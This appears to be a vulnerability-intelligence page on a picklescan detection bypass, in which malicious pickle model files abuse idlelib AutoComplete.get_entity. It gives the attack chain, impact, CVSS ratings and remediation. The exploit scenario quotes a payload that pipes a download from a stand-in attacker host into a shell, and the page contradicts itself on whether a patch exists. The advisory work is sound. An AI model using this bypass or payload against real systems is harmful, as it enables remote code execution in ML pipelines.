Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessCraft pickle with AutoComplete.get_entity reduce
-
DeliveryPublish model to hub or send to victim
-
ExploitVictim scans file with picklescan (returns clean)
-
ExecutionVictim calls pickle.load on file
-
PersistAutoComplete.get_entity evaluates attacker string
-
ImpactArbitrary OS command executes as victim user
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A08:2025 - Software or Data Integrity Failures
ASVS 5.0
V1 - Encoding and Sanitization Safe deserialization, type allowlists
MITRE ATT&CK
2 techniques across 2 tactics: Execution, Initial Access The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires three concrete conditions: (1) the victim is using picklescan < 0.0.29 as their pre-load safety check on untrusted pickle/PyTorch files; (2) the attacker can deliver a crafted pickle file to the victim (model hub upload, email, shared dataset, package); and (3) the victim subsequently calls pickle.load() / torch.load() on the scanned file - user interaction is required (CVSS UI:P) because the scan-then-load workflow must be performed. Limiting factors: victims who use safetensors, who set torch.load(weights_only=True), or who do not use picklescan at all are not impacted by this specific bypass, and the payload runs only with the loading process's privileges (no automatic privilege escalation). |
| Impact | The CVSS 4.0 vector (AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N) correctly captures the realistic risk: network-distributable payloads, no auth required, but requiring both a specific attack precondition (AT:P - victim must run picklescan and then deliberately load the file) and user interaction (UI:P). Real-world impact is concentrated on ML/AI pipelines that download community models from HuggingFace or similar hubs and rely on picklescan as their safety check - for those users the risk is high because picklescan returning "clean" actively misleads defenders. Publicly available exploit code exists in the GHSA advisory, but the CVE is not in CISA KEV and no EPSS score is provided in the input, so widespread opportunistic exploitation has not been confirmed; expect targeted supply-chain abuse against ML model repositories rather than mass scanning. |
| Exploit ScenarioDerived | An attacker publishes a backdoored PyTorch model to a public hub (HuggingFace, civitai, a Git release) whose pickle stream embeds an EvilIdlelibAutocompleteGetEntity class whose __reduce__ returns AutoComplete().get_entity with a payload string like "__import__('os').system('curl attacker.tld/x|sh')". A victim ML engineer scans the file with picklescan, sees a clean report, and runs torch.load() / pickle.load() - the payload executes with the user's privileges, giving the attacker initial access on a workstation or training node. Working POC code is published in the GHSA advisory, lowering the skill barrier substantially. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Jun 22, 2026
Detection bypass in picklescan before 0.0.29 allows attackers to smuggle arbitrary code execution payloads through pickle files by abusing the idlelib.autocomplete.AutoComplete.get_entity function inside __reduce__ methods. Because picklescan does not flag this function as dangerous, malicious ML model files (e.g., PyTorch checkpoints) appear safe to scan but execute attacker commands the moment a victim calls pickle.load(). Publicly available exploit code exists in the GHSA advisory, but no public exploit identified at time of analysis in CISA KEV.
RemediationAI
Vendor-released patch: upgrade picklescan to 0.0.29 or later (pip install --upgrade picklescan>=0.0.29), which adds idlelib.autocomplete.AutoComplete.get_entity to the dangerous-callables list per commit aecd11be98702caa9ba9b12189d91ad596a36114. Consult the advisory at https://github.com/mmaitre314/picklescan/security/advisories/GHSA-6w4w-5w54-rjvr for details. If immediate upgrade is not possible, treat all unverified pickle/PyTorch files as untrusted and load them only with safer alternatives - prefer safetensors for model weights, use torch.load(..., weights_only=True) on PyTorch >=2.4 (rejects arbitrary callables but breaks models that rely on custom classes), or run pickle.load in a sandboxed/ephemeral container with no network and no secrets (adds operational complexity and latency). As a stopgap, you can extend picklescan's denylist with idlelib.autocomplete.AutoComplete.get_entity locally, accepting that other unknown bypass primitives may still exist.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in pypi
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
picklescan is a Python scanner designed to identify dangerous opcodes and callables within pickle streams, primarily used to vet PyTorch and other ML model files before deserialization. The vulnerability is a classic CWE-502 (Deserialization of Untrusted Data) bypass: pickle's __reduce__ protocol allows a class to specify any callable to invoke at load time, and picklescan maintains an allow/deny list of callables it considers dangerous. The Python standard library's idlelib.autocomplete.AutoComplete.get_entity ultimately resolves to eval()-like behavior on an attacker-controlled string, but it was absent from picklescan's denylist, so a payload chaining it with a string like "__import__('os').system('whoami')" passes scanning and detonates on pickle.load().
Know when Picklescan gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
Network-delivered malicious file (AV:N), reliable bypass once crafted (AC:L), no auth (PR:N), victim must load the file (UI:R), full code execution as user yields C/I/A:H.
Primary rating from Vendor (VulnCheck).
CVSS VectorVendor: VulnCheck
Lifecycle Timeline
1DescriptionCVE.org
picklescan before 0.0.29 fails to detect malicious pickle files that exploit idlelib.autocomplete.AutoComplete.get_entity function in reduce methods. Attackers can embed undetected code in pickle files that executes arbitrary commands when loaded by victims using pickle.load().
Executive ViewAI
picklescan versions before 0.0.29 contain a detection bypass allowing attackers to hide arbitrary code execution in pickle files (PyTorch models, scikit-learn checkpoints) that appear safe after scanning. When victims load these compromised model files, attacker code executes with application privileges, compromising model integrity and enabling remote code execution within ML infrastructure.
No vendor-released patch identified at time of analysis. Interim mitigations: (1) Disable pickle deserialization for externally-sourced models; use ONNX or SafeTensors format instead; (2) Cryptographically verify all model files via signed checksums before loading; (3) Execute model loading in isolated, network-restricted sandboxes; (4) Deploy detection for idlelib.autocomplete.AutoComplete patterns in pickle payloads; (5) Maintain strict inventory of model sources and require re-validation if sources change.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Insecure deserialization occurs when an application converts serialized data (a stream of bytes representing an object's state) back into a living object without proper validation.
More in Picklescan
View allRemote code execution against users of picklescan versions prior to 1.0.4 is achievable by smuggling any blocked functio
An Improper Handling of Exceptional Conditions vulnerability in the ZIP archive scanning component of mmaitre314 pickles
A Protection Mechanism Failure vulnerability in mmaitre314 picklescan versions up to and including 0.0.30 allows a remot
An Improper Input Validation vulnerability in the scanning logic of mmaitre314 picklescan versions up to and including 0
Detection bypass in picklescan prior to 0.0.29 allows attackers to smuggle remote code execution payloads through pickle
Detection bypass in picklescan versions before 0.0.25 allows attackers to embed remote code execution payloads in pickle
Detection bypass in picklescan before 0.0.28 allows attackers to embed malicious torch.jit.unsupported_tensor_ops.execWr
Detection bypass in picklescan before 0.0.28 allows attackers to smuggle arbitrary code through pickle files by abusing
Detection bypass in picklescan before 0.0.29 allows malicious pickle files to evade scanning by abusing the undetected i
Detection bypass in picklescan versions before 0.0.30 allows malicious pickle files to evade security scanning by using
Detection bypass in picklescan versions prior to 0.0.29 allows attackers to smuggle arbitrary code execution payloads th
Detection bypass in picklescan before 0.0.33 allows attackers to smuggle arbitrary code through malicious pickle files b
EUVD-2025-210303
GHSA-6w4w-5w54-rjvr
NVD
CVE.org
EPSS
Vulnrichment
Exploit-DB